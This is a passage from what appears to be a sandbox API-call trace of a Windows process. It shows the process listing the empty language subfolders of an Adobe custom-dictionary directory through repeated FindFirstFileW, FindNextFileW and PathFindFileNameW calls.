0x328d798 [0070.036] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.036] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0070.036] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.036] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.036] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.036] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.036] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.036] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.036] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.036] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.036] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.036] PathFindFileNameW (pszPath="") returned="" [0070.036] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.037] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.037] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.037] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.037] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.037] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0070.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.038] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.038] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.038] PathFindFileNameW (pszPath="") returned="" [0070.038] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.038] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.038] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.038] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.039] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.039] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0070.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.039] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.039] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.039] PathFindFileNameW (pszPath="") returned="" [0070.039] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.039] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.039] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.039] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.040] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.040] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0070.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.040] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.040] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.040] PathFindFileNameW (pszPath="") returned="" [0070.040] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.040] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.040] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.041] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.041] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.041] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0070.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.041] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.041] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.041] PathFindFileNameW (pszPath="") returned="" [0070.041] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.042] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.042] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.042] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.042] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.043] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0070.043] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.044] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.044] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.044] PathFindFileNameW (pszPath="") returned="" [0070.044] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.044] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.044] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.044] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.044] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.044] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.044] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0070.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.045] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.045] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.045] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.045] PathFindFileNameW (pszPath="") returned="" [0070.045] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.045] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.045] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.045] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.045] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.046] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0070.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.046] PathFindFileNameW 